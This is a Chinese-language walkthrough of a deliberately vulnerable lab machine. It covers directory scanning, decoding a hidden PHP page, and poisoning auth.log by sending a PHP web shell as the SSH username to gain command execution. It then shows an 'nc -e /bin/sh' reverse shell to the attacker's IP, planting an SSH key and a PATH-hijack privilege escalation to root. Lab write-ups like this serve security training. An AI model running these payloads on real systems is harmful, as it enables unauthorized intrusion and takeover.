环境准备
靶机链接:百度网盘 请输入提取码
提取码:yc07
虚拟机网络链接模式:桥接模式
攻击机系统:kali linux 2021.1
信息收集
1.探测目标靶机开放端口和服务情况
2.用dirsearch扫描出目录
dirsearch -u 192.168.1.101
漏洞探测
1.访问网页
2.看下敏感目录里的信息,不让访问/eventadmins目录
3.访问后知道的信息,三个用户名
john buddy buddyG
4.用curl命令查看源码,发现隐藏信息
5.访问网页后有一段base64编码的密文
curl -i -L http://192.168.1.101/littlequeenofspades.html
6.经过俩次解密,得到一个php网页
echo 'L2FkbWluc2ZpeGl0LnBocA==' | base64 -d
7.查看之后,发现特别像auth.log的内容
curl -i -L http://192.168.1.101/adminsfixit.php
8.查看auth.log日志文件后肯定他就是
漏洞利用
1.故意登录ssh,造成报错,看能否在日志里看到
ssh weiqin@192.168.1.101
2.curl -i -L http://192.168.1.101/adminsfixit.php
等几分钟再执行curl命令,发现成功记录了登陆的信息
3.auth日志会保存尝试ssh登录的用户名而不去校验这个用户名是否合法或在本地存在
那么我们就可以在用户名处注入可以被执行的脚本然后尝试访问他就可以实现RCE命令执行
ssh '<?php system($_GET["cmd"]);?>'@192.168.1.101
curl -i -L http://192.168.1.101/adminsfixit.php?cmd=ls
4.开启监听,用nc来反弹shell
http://192.168.1.101/adminsfixit.php?cmd=nc -e /bin/sh 192.168.1.106 4444
权限提升
1.回弹shell成功后用python来弹交互式shell,在robertj用户下发现.ssh目录
python -c 'import pty;pty.spawn("/bin/bash")'
2.既然有.ssh目录那就上传个秘钥
ssh-keygen
3.本地开启8000端口后,靶机将公钥文件下载下来
python3 -m http.server
wget http://192.168.1.106:8000/id_rsa.pub
4.给authorized_keys权限
chmod 777 authorized_keys
5.直接登录就行了
ssh robertj@192.168.1.101 -i id_rsa
6.查询有suid权限执行的文件
find / -perm -u=s -type f 2>/dev/null
7.看到getinfo
执行getinfo会发现,他是由下面这几个命令构成的
ip a cat /etc/hosts uname -a
8.把ip给替换成可以执行提权的命令,然后把环境变量改了,就可以成功提权
9.最后进入root目录,成功拿下!!!